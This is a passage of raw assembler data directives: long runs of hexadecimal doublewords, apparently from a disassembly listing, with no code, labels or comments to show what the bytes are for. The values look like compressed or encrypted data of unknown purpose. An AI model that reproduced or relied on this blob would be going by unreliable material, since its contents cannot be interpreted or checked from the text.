661D8553h, 0FCD889BCh, 70E6FD40h, 5771D72Dh, 16AB1523h dd 94B325DEh, 0F65D7A45h, 0CD5EBB1Eh, 88F9CCFAh, 0D8F6C667h dd 0FC6D79Ch, 0F56E4EBAh, 0B6033D9Ah, 2BFD4CD6h, 0D8E0BFF4h dd 0A239CFBFh, 6EB58BEh, 4C96E2A5h, 0B68F0EE2h, 53E66BF4h dd 0E02ACA48h, 450F23C1h, 0D4C9820Eh, 0D5A50F45h, 0ABF1DD6h dd 736D6E0h, 0BEC76010h, 0E9E8ED32h, 791FEFF6h, 5F6EB404h dd 0DE7E6B02h, 5FD9218Ah, 68CBF87Bh, 45F7FD12h, 0FC1CB5AAh dd 4B405565h, 816E5267h, 0D2A88E94h, 31FD21F9h, 0B253433Ch dd 5CB90087h, 0F1CA87E0h, 7D18B53Ch, 0CBB2EF7Ah, 97BDE471h dd 0C63BEF5Fh, 9DFE5B99h, 226D601Ch, 86A36D33h, 0EA321C7Eh dd 0BB8B28B9h, 675F1778h, 0FAA644FFh, 8AA8B56Ch, 1757796h dd 95DB62h, 783E383Bh, 8837BC22h, 24317223h, 37CE56B6h dd 0BB3EE5DCh, 2E14C940h, 60A6F500h, 0F15F0585h, 0A36E9F0Dh dd 0DA948575h, 0EED16688h, 222A4F99h, 2E9C13A1h, 3E2BA51h dd 5B1D5E15h, 0C65BCD16h, 7A8ED269h, 703CE8BEh, 8E31102Fh dd 0EEF25F32h, 0D25030BCh, 0FB6254B2h, 0FF670FCFh, 0DBFE7BDFh dd 9B22BA2Fh, 37DC5DF4h, 2BD82DF5h, 9A2BA39Bh, 0DF2EC237h dd 0D2683390h, 95F49D4Eh, 0B7240579h, 9844BE92h, 84BA5555h dd 0D4EC4ED2h, 0E1337963h, 4868BEA1h, 97EAE060h, 7AD03D84h dd 0FB64A651h, 0C51612F8h, 0BDF2E9BEh, 46FD02F1h, 64DB15E1h dd 0E0FF0B7Fh, 1075F135h, 15891262h, 0B80D75D5h, 5ED8C565h dd 0C2205177h, 0AD9B7182h, 28ABCF29h, 0B79C2EE4h, 768AABCh dd 379A48BCh, 0ACEFD15Fh, 1723583Ah, 773F3F03h, 0E681040Ah dd 47C7F5A9h, 5D042EC6h, 5D0FC54Ah, 79AB6D33h, 5A107A85h dd 5AD1D1FEh, 6422296Dh, 3AB09E90h, 0EC503ACDh, 1B6160DCh dd 141556FAh, 0E72CAE09h, 0AFCCAFDCh, 0A7090F99h, 0FAD4552Ah dd 54797DB0h, 74795BF4h, 894752FEh, 0E30057BFh, 0AA574223h dd 890D33C6h, 2FC3C94Bh, 0A9F8081Fh, 4EB6EA89h, 0E9F45DC8h dd 933D3FF5h, 2A85D78Eh, 60BB8FEFh, 6006C30Ah, 0B95EDD8Ah dd 0E0E2673Bh, 8A0AB7F3h, 76B17159h, 519F39F2h, 105893FCh dd 518BE5B1h, 701FBF54h, 69A86E12h, 247E16ACh, 6574B298h dd 1E16CF57h, 6E9DB863h, 5DE1F8EDh, 0FD9DB2Dh, 1DD34F37h dd 0FDA559EDh, 0BAFF1035h, 0CF28B653h, 7E168E4Dh, 197DAF19h dd 0D6202A91h, 0E74EB68Ah, 0AB04A7C2h, 3ABA9E29h, 0F44F3B16h dd 3B4139D8h, 65EF6D60h, 0C98BF734h, 537E3EAFh, 69D92C0Fh dd 0DF26B118h, 6F7997E1h, 7EAECFD9h, 773FE0BFh, 0DEAD14A9h dd 5A34B19Fh, 91AAD607h, 0D5EFE8EAh, 0E385F954h, 18EF3B7Ah dd 0B7853EE1h, 0E2DEF0B5h, 16FDFFEAh, 3529D137h, 3A45AACFh dd 37A9F1h, 0A402CF9Bh, 72264555h, 40FAD15Ah, 0AF0E9F27h dd 53812FCBh, 2BD9D429h, 964554BDh, 21FB4D3Dh, 21D41942h dd 7E5551C9h, 0B7381021h, 0AC5A27B0h, 8AF41DE6h, 3D916FAh dd 0C6C157E7h, 79B47C7Ah, 0D35E1C2Fh, 0D4F65D5Ah, 87ACD26h dd 0E70C5426h, 94054F17h, 0E5DE32CCh, 1F1209C3h, 7433C05Dh dd 0EFE3703Dh, 0AECEEA90h, 0EC857DF4h, 2B605A9Dh, 0B3771F53h dd 48DDDE5Ch, 6D78FAE9h, 4857BD6Fh, 0B3AF1938h, 0B73C4B03h dd 0FD98F223h, 6BA3F44Bh, 2CA5A918h, 5F3A72A5h, 0FD58E65Ah dd 0FAA4812Ah, 0D7C9D9DBh, 314EBFAh, 297A6DBEh, 7E78CE0h dd 0D43325F9h, 0F53C5FDBh, 3AF02D65h, 39D2F2FBh, 0E687563Ch dd 387FE317h, 7FEBA8E9h, 6360B04Ch, 53FF19A6h, 4717155Dh dd 0C6FB4AAh, 0D131BE23h, 6CA399C9h, 5F6B3AA7h, 0B93D8697h dd 962EE2C2h, 3BDB493Eh, 6B645A22h, 0D03DA173h, 0E9452EB1h dd 0A9353DAh, 0AC825AFAh, 45A37F80h, 0F3E7419h, 0A18CF799h dd 1B95107Ch, 2455796h, 0F1C36BC4h, 0EE9A2A77h, 6850FC7Eh dd 0EB82BA97h, 0ACEA6EA7h, 320B0FC0h, 5FBBA848h, 0FA66715Ch dd 8E5849EFh, 0B024B81Fh, 78BC5A71h, 3E2D46Dh, 1CDCC48Eh dd 672BE585h, 16FF03C9h, 0BE7F49C2h, 0BF36EF3h, 5E0AE425h dd 0D8AE7DF8h, 0FB3D6F19h, 0D812EDF0h, 970AAFE5h, 0A22F0752h dd 207A5CC3h, 0EE7AD862h, 0FF0B84BAh, 0E54E0309h, 5647D59Eh dd 89D0CDDh, 5F3B2F44h, 0F33A3E8h, 3E76A8D1h, 0C9C65E6Dh dd 6AEF0723h, 0B14A45EFh, 0CB4A1658h, 291DFF07h, 0B40C36FBh dd 4ACEC9F5h, 0A1B962B1h, 758FCD26h, 524FA057h, 28FA299h dd 57449F0Eh, 0CF95B03Fh, 105A0535h, 5BE354D8h, 3F73DBBEh dd 4946EF6Dh, 0A4E9BF12h, 6CBB8815h, 23AADA4Dh, 0DEDB707Dh dd 0EBD3D67Fh, 5AAB04F7h, 0DEAAA776h, 7CE0613Bh, 85A19871h dd 79301380h, 48DDF3EBh, 557B6EAh, 8E2F96AEh, 0E375E70h dd 0BD378AAFh, 6BA7E2D1h dd 75B228E4h, 0DB5F5C2Fh, 0FB5781FEh, 0B83E18B2h, 83262A15h dd 32D21735h, 0A7AEDAE7h, 0E97D9769h, 0A4FF4E5Eh, 1FB702E1h dd 9D5F8A9Bh, 837142C7h, 36B86697h, 0E9788D7Ah, 826DA247h dd 0D07DAD14h, 42A27FC0h, 0D76228BFh, 66B12F3Ch, 268AE78Eh dd 0EF9BF04Dh, 0A17C08B9h, 5A57ECCBh, 0D75BE1AEh, 4A636ABh dd 0F7153DC7h, 7F17D169h, 0D82A753Dh, 24BD7C94h, 0BFB647D1h dd 254ABDA2h, 9728AECBh, 0ABFC1E3Ch, 7303F7D7h, 64EB120Eh dd 89A324E4h, 5B929DA5h, 0D44E6D42h, 8C22A9FAh, 7DED4A5Bh dd 947AEB41h, 37325B81h, 0E3582916h, 6EE97E77h, 4F9AC07h dd 0D4B61A8Dh, 0F6D4AB90h, 0ADD524ABh, 41A0C97Eh, 32497821h dd 0B505D247h, 47DCFC53h, 0F9E3C0F1h, 489B93ECh, 0E26FB23Dh dd 0DAEB62E5h, 0FA39510h, 95DB705h, 6C6A9EDEh, 67C52042h dd 0F325BFDEh, 707D7093h, 20ED81F9h, 6DF07F5Ch, 65A2A99Bh dd 39FA6DD2h, 4FDA43EEh, 365E88A6h, 7D654A7h, 77A7B4E1h dd 0E6BAD71Fh, 0B704BC7Ch, 0E94B11EEh, 0FDF559B1h, 8A40E1F8h dd 0EF8FE96Ch, 9157CE64h, 0EB439DBEh, 0D9CBCA11h, 0FC4705Dh dd 0E8A33257h, 1943E9A8h, 50DF9D2Eh, 0E6E2AAF6h, 0C2686DCBh dd 9EECE773h, 22F4F56h, 358EFC62h, 8FA8FCC0h, 93C1BE2Ah dd 1827B12Bh, 57B95C0Bh, 45FC2E6Ah, 0E9E5D275h, 82377BD6h dd 7693F1DFh, 89D23148h, 6DF0CE8h, 7D386AE2h, 15DA76CDh dd 6C2F5E09h, 0D55B1D1Dh, 3E02314Ch, 96D17361h, 3DD9B13Ch dd 0E2F99784h, 539F657Fh, 4AC95DCBh, 294FE3A4h, 0E40B767Ah dd 0C731343Fh, 38106078h, 54BB24FFh, 0CAEE65D1h, 0FD761142h dd 0A4DDD215h, 6D3491F7h, 0DE98B7C2h, 5DE7B6E1h, 0F8AEF8B1h dd 0CF03D077h, 7AB2FC52h, 2D16AA63h, 7837B333h, 13ED3C8Bh dd 65817BC7h, 305A7A76h, 0B7BBBF17h, 5CCA439Dh, 2AD84DECh dd 3A83D938h, 0E3A3744Ah, 0F07811DCh, 0F2243A7h, 35F62E6Ah dd 0E571A511h, 59371F66h, 0E260E03Ch, 0FB854A52h, 0F7683CAAh dd 0CAD216A2h, 2AE43A69h, 574CE677h, 48B46E74h, 9EE8E813h dd 9187F6DEh, 1AAD165h, 0C701DEAAh, 0C8379DAEh, 0A36D6D7h dd 81E3F863h, 0D02FEE26h, 0F68E663h, 0C1DFB592h, 43BAFCC8h dd 0DCCF6845h, 73F0F0ECh, 4C6703D7h, 0F7ECA2B9h, 95DCF032h dd 12E894D4h, 5BBA2B28h, 9E0A2EB8h, 0E4C1F2DCh, 56FE1544h dd 74C65222h, 81BFE7A7h, 615CFA20h, 5CE46DF7h, 5D559B10h dd 5749150h, 3DF9618Bh, 3CA99DCBh, 0B8485FFFh, 68DA3C82h dd 0C048AF3Fh, 0B5A36522h, 8EF22B00h, 0ABD0DF2Ch, 43365273h dd 0EBEEA5ACh, 9253D0Fh, 45D4A770h, 0E5B590F1h, 4DE8E4ADh dd 13EC835Bh, 37FBC189h, 82F1157Eh, 0D36D1DF9h, 0E05AE402h dd 0BEC8785Ah, 0A9966F1Fh, 0DBF0E276h, 142C967Dh, 0C7AAEA1Bh dd 992984C6h, 0C59FDBA0h, 0F5BAD721h, 4F2F90D2h, 0D4342717h dd 0A27FA02h, 5FDDF3EFh, 0D301EF5Eh, 0E340BB77h, 4129BA5Fh dd 0B98147Ah, 3707916Dh, 0F7779F48h, 42D1875Fh, 0E816F015h dd 7DED767Dh, 0C5F4045Dh, 6F757F82h, 5173EB3Dh, 5F06EA6Eh dd 0D49C7325h, 5154383Eh, 55C53BFDh, 6C5F85F9h, 7D82DB41h dd 120A43BBh, 0A46EF54Bh, 83CD51D4h, 0FAE02894h, 15E99B47h dd 0F8064F8Ah, 0B944C723h, 0C344A658h, 4B5FD3C6h, 25D2B021h dd 0AAF6237Ch, 0EE981F95h, 0BF85C798h, 97F2CBFDh, 51D569DBh dd 95BF6FE4h, 0C260F90Eh, 1C0EA96Ah, 37DA9B3Ah, 0F667EFC0h dd 0DD7A2F47h, 0D67FD4Bh, 719F0D8Eh, 8E454E6Dh, 1DF9F6Ch dd 35A2854Bh, 0C0FE9F9Bh, 8D3F66B7h, 0CA55D852h, 5F430CD6h dd 452D1AAEh, 0DF7F798Bh, 0E6B8A8CAh, 4494CD1Eh, 2B44B3DFh dd 69AA4B7Fh, 0C2D8D466h, 222D067Fh, 4F3A0487h, 3DFCE16Dh dd 867CE60Fh, 0D6B044F9h, 229D426Eh, 744F1D54h, 611DE965h dd 1E189F1Ch, 6F1419EDh, 2B4EB72Dh, 79183B44h, 60B56CBh dd 38D174DFh, 9F2E6F23h, 8649D514h, 901C7EF0h, 516CC4A9h dd 9A9D3EBEh, 0DA453707h, 5EF6BD6Fh, 15ABEAEFh, 5AA2E2AAh dd 78A9AAE7h, 0E3768E81h, 0AED2B8A5h, 69CC884Ah, 0E26A5AA4h dd 5A996DF7h, 20B93969h, 9504AD3Eh, 8BF3A23h, 1B743EBFh dd 1712345Fh, 0B4CF818Ah, 14E0FA1h, 0B108D7DDh, 0DBE456CDh dd 6F2159E6h, 9147E247h, 146F1DEh, 956B74B4h, 471DEE16h dd 0EFF395DCh, 48451A13h, 3B25287h, 0A5BCF0Dh, 7C6D3C8h dd 0D56F0BFEh, 69FF3FE0h, 276CFBEAh, 0ACA8A3AEh, 52CE06Dh dd 3595F670h, 3FEC5ED0h, 0B58DC6DBh, 5733F8B8h, 0F353271h dd 0EB04574Eh, 9BD7FCFBh, 0F41C2AB8h, 0F0FC6FCBh, 928DCFC8h dd 1CC36EFCh, 0A05FB5BAh, 0E1E0403Dh, 0A8756206h, 0D9449742h dd 0BA0AEDE6h, 0DC9F370Ch, 0EE3365F4h, 0A3DF2FFh, 38945DA8h dd 17F82C58h, 1F54EA51h, 6F9C17F1h, 6A3BD782h, 45F85089h dd 0E5C2F6ABh, 0DCCA6C3Ah, 0AEFD8950h, 1E2E4A1Eh, 7DD65EDh dd 0C817E5CBh, 93BD7528h, 4B0491EEh, 0E2FF68A8h, 585C6B6Eh dd 0F0D06BF8h, 0CA87A8AEh, 0A19FCAEEh, 23CAEA1Eh, 3736E168h dd 8CE3AC98h, 77F154B1h, 0DD7EF362h, 0FEF87CDEh, 28E88C97h dd 0C2BADBBh, 7DFA6E55h, 0DBDFAB40h, 27F4292Eh, 0C19FECAAh dd 0BBE7A60Ch, 464F82EEh, 40A9BDD0h, 1E6A770h, 8D68D12Ah dd 18B7CAD2h, 1F5B18C0h, 0D67F7EAh, 0A9726926h, 6992DF52h dd 0A60B7F2Ah, 768CC534h, 992ADE07h, 0C7BA227Ah, 0DC1E1C7h dd 0D148D5Dh, 3C16A2FFh, 399F53D3h, 243C6F78h, 0D409D37Dh dd 0C92479D2h, 0BAFEB57Dh, 0B5BDC9D4h, 0B7D2D51h, 0F4BA69F6h dd 33185C17h, 0E6A05E78h, 6CAAE964h, 9AC7D60Eh, 0EE86E5DAh dd 0A16FB00Ah, 0EC9FED1Bh, 0AF14CCBAh, 886B3AF6h, 98BB7100h dd 0B3AFFA60h, 7D7EFE56h, 0E2D605BBh, 6F1BD308h, 46D12477h dd 0C556EDCFh, 1FD9A2C2h, 79BEAA98h, 0BCE16D5Ah, 57D2F6F2h dd 2F927776h, 0D0A9748Ah, 5D17DDCAh, 0AEB41B3h, 6E85F8A8h dd 5A22B381h, 0FF72AD9h, 249220FFh, 842B5A3Bh, 78D61924h dd 0FC3C0F16h, 8384B9F3h, 0BF1BD51h, 0CE756E77h, 0D1051D2Ch dd 561F80C5h, 3F768A02h, 90395C6Ah, 0FCB980DBh, 4E81FF97h dd 0B7152BFCh, 549D01D8h, 7A7E9285h, 45346C42h, 20E575B6h dd 0C0F6B8E5h, 0ECEB53DFh, 5F2AF732h, 627C0FEDh, 10020F87h dd 62EB6CA3h, 96F76AD2h, 0FE220EADh, 0D0DE2D50h, 2D6E6A69h dd 67F94840h, 0F90DAAC7h, 2840B5FEh, 0DCA5D2E7h, 0F079AAB0h dd 4DBD9514h, 0A6F91AF4h, 8BFAC21Fh, 0EF5077C3h, 165F1A38h dd 0D38E76C7h, 1467F6BFh, 44005BB8h, 0D4E07F32h, 0ED4492BCh dd 973278BCh, 0CF45742Ah, 0AB6A0053h, 0E992B532h, 499DF2F1h dd 65B12D45h, 417546FBh, 389DEE8Dh, 0F0780ECEh, 0F6FEEBB0h dd 80D69A04h, 579B2734h, 0EF45D9BEh, 0CCB6AF17h, 0B77F1A8Dh dd 0A626BF79h, 7DAA8E2Ch, 376BD42Fh, 0E0B87136h, 0D1C0C48Fh dd 2473D4BAh, 0A5776F25h, 0EB779E44h, 207CF556h, 0CF32792Bh dd 497FEE53h, 3065E64Bh, 55DA092Eh, 0BC7EA18Bh, 0E2A99D2Bh dd 0EC2C9ACEh, 72EA3154h, 0B7272F9h, 47869D49h, 1BE7A102h dd 9FDFADFFh, 0B4567D00h, 6DCA9AF7h, 1950B5B7h, 570C0FDAh dd 9BAFEA7Fh, 94B83AB6h, 0BE58DFDh, 0A0B21F83h, 0D929729Dh dd 0D9E18E03h, 0A59DE13Ch, 0CBCE0B37h, 895F2AF0h, 4FAF756Bh dd 4436F3A4h, 0BD2F9185h, 0BBF5CE1h, 7DF8CF08h, 0BB3E5A1h dd 992D3D8Fh, 8FE8AAA3h dd 1E032FC2h, 0F30FC378h, 0F8CD00DFh, 0B8DEEAF7h, 0B8F47E2Eh dd 1D9C839Bh, 89F6AAD6h, 3A3C095Ch, 17E0AE74h, 4664182Ch dd 346557ABh, 0DAB4AD40h, 0DC9EDC0Fh, 0A7898D08h, 361973B4h dd 0C664D746h, 92D1977Dh, 801B63C6h, 555875B6h, 0B657511Bh dd 37704561h, 66DCF291h, 0B47975D5h, 95123BCDh, 3FF5C41h dd 0B90DD917h, 741247F3h, 15B39591h, 53DEEAFh, 70A1827Dh dd 0EDCAF0F0h, 0EEE295D2h, 9CBFE442h, 5EB7AF0Ch, 0B3C1D709h dd 6F3C9E02h, 0E4D9EE36h, 0EE44CE62h, 0F49E602Fh, 0DCD0AB70h dd 3E1281E7h, 0D3032B72h, 92FC55D4h, 92F346AFh, 0B629C682h dd 0D5006602h, 0AA113A6h, 83BF945Ch, 3FE093CAh, 310FC7EEh dd 0CFAB0BFh, 1196E6E0h, 54EF6E2Bh, 9B54C451h, 0ACCE9213h dd 0D412C3A5h, 0A21CAFA7h, 0E269A66Bh, 0A06D1E9Ch, 63A4C808h dd 0B3B96773h, 76E144AAh, 3F228AE7h, 0CE6855F3h, 0F5B99975h dd 4E8A331Fh, 35505552h, 12DDCB38h, 64B38B60h, 0DC00A8B4h dd 14C65D0Dh, 2AF6316Ch, 0D6E22E25h, 0FD5B5A36h, 617E0B2Dh dd 0E5EDD3Dh, 0CE2A2B05h, 71AA2A89h, 0AEF025D8h, 0D32EC27Dh dd 0E6F3D46Dh, 1059D343h, 37E389C3h, 555A6FBCh, 0BE17D6D4h dd 51C6879Eh, 94B4CEF4h, 8B5A2C36h, 50DBDBFAh, 961F5475h dd 16885BCCh, 280F3F18h, 66FA2707h, 0D5DF303Fh, 3A265FE0h dd 59FD3E0Eh, 45CB0BB2h, 0C4ADB16Eh, 290A5F86h, 786FC10Dh dd 0C1F46BECh, 0BDB9CAC7h, 0EDA57F09h, 0A256173Fh, 69F2EA9Ah dd 0E4726F78h, 0B8BA6BDAh, 0D81ABEC6h, 0B729F99h, 0A5920EA1h dd 3614EFF0h, 0BA7C3292h, 0D9771942h, 4AEE7BAh, 719552A1h dd 5174F47h, 5F249352h, 2BDCEA2h, 5CDCE840h, 6876B60Fh dd 12A8DD9Fh, 8A43041Bh, 7A20625Ah, 35B6B523h, 0F272A1A1h dd 0E4A6C06Dh, 0E19D377Eh, 23C5ABAFh, 419FFFC9h, 79FEDDDCh dd 957497B6h, 0F3850C2Ch, 9FA91BA0h, 7157141Bh, 88ACA197h dd 8EE236AFh, 0BD68B251h, 454FAEDDh, 0E60611B0h, 4077AB01h dd 112E53Eh, 8E88AFE5h, 5669ECDFh, 7FCBBC59h, 45AC28DEh dd 0BDCE8EA8h, 0B81ADE7Ah, 4AEAC70Dh, 0D6D6D5ADh, 153BEECFh dd 0F5EC0F3h, 0A99DE2B9h, 0BE0F1A3Eh, 0B5A63CEh, 0FCB53CF3h dd 409F4586h, 0DF7D80D7h, 0FB77C0F2h, 0B0D588BCh, 9CBF0B83h dd 97B96097h, 2A9157E0h, 0C4E0F222h, 0EF63DA45h, 67781776h dd 7C7D1AA0h, 0ACEA1623h, 0E37775A2h, 0CB60D64Ch, 0EC8E0BF9h dd 730AF866h, 0AC1A8F3Ah, 8A6962C1h, 51634867h, 5EC0A3A8h dd 9B4BCAFCh, 0B5DEF9E3h, 0D943DE34h, 0C0C7E2B1h, 81FBD325h dd 3AC8397Fh, 3D6A4124h, 0F997F7EAh, 0E63CD8E1h, 7E392BFCh dd 2D524EF8h, 0D3155AAFh, 4D175157h, 43D1550Fh, 9A1F89EEh dd 28619ECCh, 0D0376B69h, 0AFA49200h, 0AF0232A5h, 6DD6F6FCh dd 575984EFh, 0D1639F73h, 0B4053B33h, 0F1C587E3h, 0A36ED7C6h dd 15D40EBAh, 1435D051h, 94553FBDh, 97D01701h, 67CF535Dh dd 4F74A95Ah, 273C8A8Dh, 76B43FD0h, 755F9593h, 8BB657C5h dd 65356E85h, 0B6FAA639h, 0DD88998Ch, 0E5A35F42h, 51D18EFEh dd 1D6241BEh, 895586E5h, 0A544A95Dh, 0B49D242Dh, 4A8E0EFh dd 0F7A79AE4h, 0D424EBA1h, 71E0D2D0h, 389E8891h, 0FDAD9A7Dh dd 20722D3Bh, 5CA079D5h, 0CFDE99B6h, 63313649h, 0CFDA6381h dd 0FB6A6BF7h, 5F6295E4h, 321F829Fh, 0ECC110BEh, 2B28AB47h dd 9688A73Ah, 24AA125Ah, 8A8E04C4h, 0EE9878Eh, 0B8093EA5h dd 5B7C968Ch, 0B7170C1Fh, 20B3B26h, 0EC473922h, 78836703h dd 0C555E584h, 5F8ED9FDh, 3D4F0C0h, 5FD882E1h, 607D5D9Bh dd 0CE1BA85Fh, 0C58EA174h, 142B0FD9h, 0E1D9E8DAh, 9EAD51B4h dd 57A64AE1h, 0F3600DEEh, 6BF9B825h, 67027739h, 0D488608Bh dd 0FC689C0Fh, 3CC8BF06h, 0FB03916Ah, 0D53FDB9Eh, 0BF7B19E5h dd 0E2515514h, 394AF4DDh, 0D3564527h, 0D979DCA4h, 0BFCB21FEh dd 0D357156Ch, 0CB9A664Dh, 0DCC5C497h, 518D3A98h, 55476419h dd 9FDC6D6Fh, 997EB14Eh, 649C0578h, 11457EC0h, 4EA601B3h dd 53D896FBh, 9A0E5FE2h, 76698F6Fh, 26D7F9Bh, 0A6CD3FBAh dd 0A417D403h, 0C071D07Fh, 1A60AEC1h, 73DCF2FFh, 9CDCDE4Bh dd 0AC728E24h, 0AED557E0h, 6A1A36C5h, 360274F7h, 0BECA490h dd 7151EE2Bh, 0FC092EA8h, 0E0A38529h, 0A170BB34h, 8F02193Ah dd 37CA9489h, 9FC774ADh, 6828B52Ah, 0E8A37072h, 0AAADA560h dd 671CD973h, 75105591h, 733F2068h, 0A361ED51h, 5D9C4AA6h dd 8A0B970Ch, 8E4BEAA9h, 1349A6F4h, 0E4AB2AB5h, 18A34714h dd 0C14AF8D8h, 5EC812F6h, 30968BF7h, 0AACB43ACh, 2C424350h dd 0D3C174BCh, 8571D629h, 3798E172h, 20EBE3D1h, 29BC507Bh dd 48350A5Ah, 3591AB2Ch, 0E1796EE6h, 0C1D69E95h, 7E401B48h dd 0FE7DA553h, 0CD25A2A2h, 0E912DB0Dh, 0FA990771h, 552E53EFh dd 28799124h, 0B9BAC08h, 0BF87D086h, 0ECF814D0h, 35512955h dd 0D4BFEA07h, 78BE2C5Ah, 9DD7DEFDh, 0BFBB85F5h, 0BB2015FAh dd 4CD4D0B5h, 0DA4D0448h, 0CC37EEE5h, 58FE6398h, 1F0CAB2Bh dd 16910B94h, 49DEB3CEh, 499A662Fh, 0EF864CFEh, 0EF96934Dh dd 0B618172Ah, 0CADEADFDh, 0B2E2E739h, 90A9FF68h, 2D167F2Ch dd 0FE70BFD1h, 0D7550E16h, 5FA3F98Ch, 83C96562h, 0F4DAC5C0h dd 0B81C3FB8h, 0B026E9E7h, 21F8DA87h, 71691BAAh, 71455B85h dd 1B0B8C96h, 9B8DAF55h, 5916D4D0h, 9D66221Fh, 8F37681h dd 7204D767h, 9FFDDCD4h, 8124356Ch, 0E9A60FD5h, 0A496C222h dd 11D9F563h, 0C9D921BCh, 9FA5EFE6h, 7F0C72CEh, 4F8B32EFh dd 7FC90412h, 0B79D6881h, 760EF2F0h, 8A14B753h, 16A8CE6Fh dd 0B58AECE6h, 0CD5D7C7Ah, 0CE5B5290h, 15FB4192h, 0E055155Bh dd 2181A765h, 0EA5570B1h, 0B9997065h, 0EFE215CBh, 0C51CECB5h dd 0DF89CE4h, 3BDD6462h, 99C54136h, 6DECF0Eh, 27D15D3Dh dd 7C5DF87Fh, 0B4D3E7E2h, 0B4B63D53h, 956C5FC9h, 7CFBB4F3h dd 646FB406h, 1F8C2BF4h, 13FDFC8Eh, 17D728B3h, 4A6E35CBh dd 0C85BBDCh, 7B7D5F39h, 68B55F42h, 6FD14750h, 629F69FCh dd 0FE450B0Fh, 5F52B39Ch, 2FCAB558h, 76D46506h, 0C8F81E6Ch dd 611637C3h, 3BB14951h, 54E5FC50h, 0B44EB215h, 0FB3820FCh dd 25FC35F1h, 0BD141AA0h, 887A3C18h, 6F1685C3h, 3DD9C9Ch dd 77AEC5FEh, 0D6691543h, 0BF03FA99h, 0E3713854h, 90ACEC6Bh dd 69856BD6h, 8F5DD868h, 0F7DAB376h, 59F815F6h, 7D6FC214h dd 0C6D1D326h, 7FA892Ah, 0BE9A3DF7h, 0FA0CED7Bh, 0BFB88h dd 62A675D3h, 3EA4F159h, 0AE6EF689h, 6BF99DA5h, 0C4CCDEC0h dd 0F11F5B78h, 195D66FBh, 2C9E6633h, 0C5A346E6h, 0C0BDE330h dd 0B8E0E79Bh, 98F2CDFCh, 0B160D842h, 0FD2AB9BBh, 6A6CA5DDh dd 9596D0D1h, 94B935CAh, 0F32B77BEh, 0B2358913h, 0B6F98247h dd 0F86D9D71h, 0AFF9BED7h, 0A0B18F7Ch, 9AEB0B90h, 0F5717365h dd 0A36F6A9Bh, 0A9F62497h, 2BBC9757h, 0CF8B2383h, 0BC4F177Eh dd 1C37621Fh, 0E0EAAADFh, 0CDB3D8AAh, 64908B45h, 0BD77B59Bh dd 0C547FBF5h, 6B47AF15h, 3D9F84B7h, 22D8097Dh, 58E40FA2h dd 0BAD0AA7Dh, 0FF3689A5h, 6C17FE91h, 951D08BFh, 0DDDF0750h dd 0E7C2B33h, 27F0A502h, 78AA4170h, 0F894B0A5h, 0A9F8CAFFh dd 123E5C3Fh, 5647C5Dh, 62F9C3CAh, 0AB07D68Ah, 0B1511BFDh dd 7D15FA95h, 4EBC097Fh, 0F573555h, 0F70D5374h, 0FC4652F5h dd 0B27E12F5h, 0D5CB57BFh dd 0AD2659D5h, 26D1E8A8h, 7F8B47D5h, 0D917FC2h, 7407DFA5h dd 9DFDBA1Ch, 7F635EE6h, 0DC5322ABh, 83CD9FCBh, 2C1C5A24h dd 927EF4A3h, 0A37390BFh, 0B51A42DFh, 1A18B45Eh, 0B710A1ADh dd 0E76C04C7h, 0D547029Eh, 8C095D6Fh, 565E622Dh, 1C7B4F53h dd 3381E066h, 0A6796BF8h, 494556CCh, 0BCFA95F1h, 0B2CB3E4Ah dd 0B7DCCEE3h, 1DE7B04Dh, 5D6B0B6Fh, 0C6769E45h, 0F7AA33FBh dd 9B47DFFh, 96CA7814h, 0EC7B8EA1h, 0DA8073E6h, 0CDAAA44Bh dd 8083FAEAh, 3A9188BFh, 0F63A07AFh, 9BBA97FAh, 4B8AA2FDh dd 772FAD75h, 4AF90BA1h, 15F7E9BBh, 28A54D5Dh, 1DD389ECh dd 57D9414Bh, 46EDF45Ah, 6F26C025h, 3ED2483Eh, 2036055Fh dd 0B3255324h, 0C0F7B23Ah, 4CDBF9A5h, 6E7FB689h, 5F1B61C5h dd 77A98D8Fh, 4BC5632Fh, 0E885E668h, 10F2FE0Eh, 0B7CDBE00h dd 48877463h, 0FB608DD1h, 6BB87899h, 58A2FEEFh, 8FA00DBCh dd 817F2AEBh, 0EC405A65h, 77E94F05h, 4746E64Ah, 1556EC51h dd 6E4B5B68h, 0CEB942DDh, 180BFF69h, 27A2A81Ah, 9B6BF027h dd 0F66BEA0Eh, 9E3FD237h, 8A78A092h, 36FDC35Fh, 5837B6CAh dd 0D1843CDAh, 0BAD652DEh, 970263C1h, 5130074Fh, 41FC71CAh dd 0D07B0404h, 2FA2F1DDh, 2091F4DCh, 56B12DE1h, 5A3334D1h dd 63FCF657h, 56CBB013h, 0DAA3920Dh, 0E9C6ABE5h, 0AA7D16h dd 0B703FFCh, 38ABF983h, 968A24F0h, 11F6FE51h, 0F657F97Fh dd 33DCC048h, 5752C732h, 475A79BDh, 0B1CE1D4Ch, 0F63A8BE1h dd 5316E379h, 0F5C65DCBh, 0FB59E4C0h, 0F2BFBEAEh, 176B0FF0h dd 5080A6C7h, 0CDE1157Bh, 550AAFF7h, 55B838D5h, 0E9F29800h dd 0D7D34CBAh, 8557EEA3h, 34912A52h, 5ADCA4CDh, 55EC1A80h dd 0AFA47F2Bh, 0B475FF56h, 9E3855ADh, 795E0F1Ah, 8F2B4BFh dd 0D9B07778h, 0E4AAAE0Fh, 2016E92Ch, 0B03A1481h, 0D8F53E33h dd 0E31C6B44h, 35D105BAh, 51650788h, 0E99CE63h, 0C5D4E070h dd 95AC2EFCh, 0E95E2247h, 56926F77h, 0CEA58BEAh, 0AFBD4955h dd 0DE86B48Eh, 2736315Ah, 4CB4556Ch, 4C807395h, 0C72BF10Fh dd 0C1CA3EAAh, 0FC608AF9h, 0B69AAF08h, 192B9D59h, 0B2EE43F0h dd 5B97D88Ch, 2F8FE17Eh, 555289AEh, 781EB57Ah, 7B2F729h dd 0E248325Fh, 2B135890h, 0D524C8B1h, 0DF81D824h, 1A24F9BEh dd 0DCFE34CFh, 9CA141AEh, 7EDD6317h, 370FAFCDh, 6786EA4Bh dd 0B76F9EBFh, 0F6AA72FAh, 383E0841h, 0FBA635FBh, 4792A947h dd 0FD562470h, 5F8AAD8Eh, 918F7CF0h, 0C220389Bh, 0AE6730BEh dd 0E7A1A90Fh, 0D5FBBD3h, 0AC18DF0Dh, 0B80AFC65h, 496837B8h dd 1FF64FB3h, 0B1EB816Eh, 0EAF78B38h, 0A1350BF8h, 3C2F6F95h dd 4D7B8D5Eh, 0AC542D16h, 79EAC159h, 0F487E028h, 0CE9AA7DFh dd 857DDE5Bh, 9C53BE95h, 0A7DB594Bh, 6F6114FBh, 40709540h dd 